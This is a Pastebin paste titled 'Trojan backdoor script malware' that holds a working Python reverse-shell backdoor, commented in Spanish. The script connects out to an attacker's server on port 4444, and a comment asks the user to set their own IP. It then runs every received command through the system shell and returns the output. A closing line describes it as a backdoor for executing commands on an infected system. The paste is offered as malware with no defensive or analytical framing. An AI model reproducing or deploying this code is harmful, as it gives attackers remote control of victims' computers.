Advertisement
misteore

Trojan backdoor script malware

Dec 18th, 2024
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.62 KB | None | 0 0
  1. import socket
  2. import subprocess
  3. import os
  4.  
  5. # Configuración de conexión (IP y puerto del atacante)
  6. HOST = '127.0.0.1' # Cambia a la IP de tu servidor
  7. PORT = 4444 # Asegúrate de que el puerto esté abierto en tu servidor
  8.  
  9. def connect_backdoor():
  10. try:
  11. # Crear el socket
  12. client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  13. client_socket.connect((HOST, PORT))
  14.  
  15. # Bucle principal para recibir comandos
  16. while True:
  17. command = client_socket.recv(1024).decode("utf-8") # Recibir comandos del servidor
  18. if command.lower() == "exit": # Salir si se recibe 'exit'
  19. break
  20. elif command.startswith("cd"): # Cambiar directorio
  21. try:
  22. os.chdir(command[3:])
  23. response = f"Changed directory to {os.getcwd()}\n"
  24. except Exception as e:
  25. response = f"Error: {str(e)}\n"
  26. else:
  27. # Ejecutar comandos en el sistema operativo
  28. result = subprocess.run(command, shell=True, capture_output=True, text=True)
  29. response = result.stdout + result.stderr
  30.  
  31. # Enviar respuesta al servidor
  32. client_socket.send(response.encode("utf-8"))
  33. except Exception as e:
  34. print(f"Error: {e}")
  35. finally:
  36. client_socket.close()
  37.  
  38. if __name__ == "__main__":
  39. connect_backdoor()
  40.  
  41.  
  42. Este script es un backdoor básico de lenguaje python, cumple con su función de establecer una conexión remota y ejecutar Comandos en el sistema infectado.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement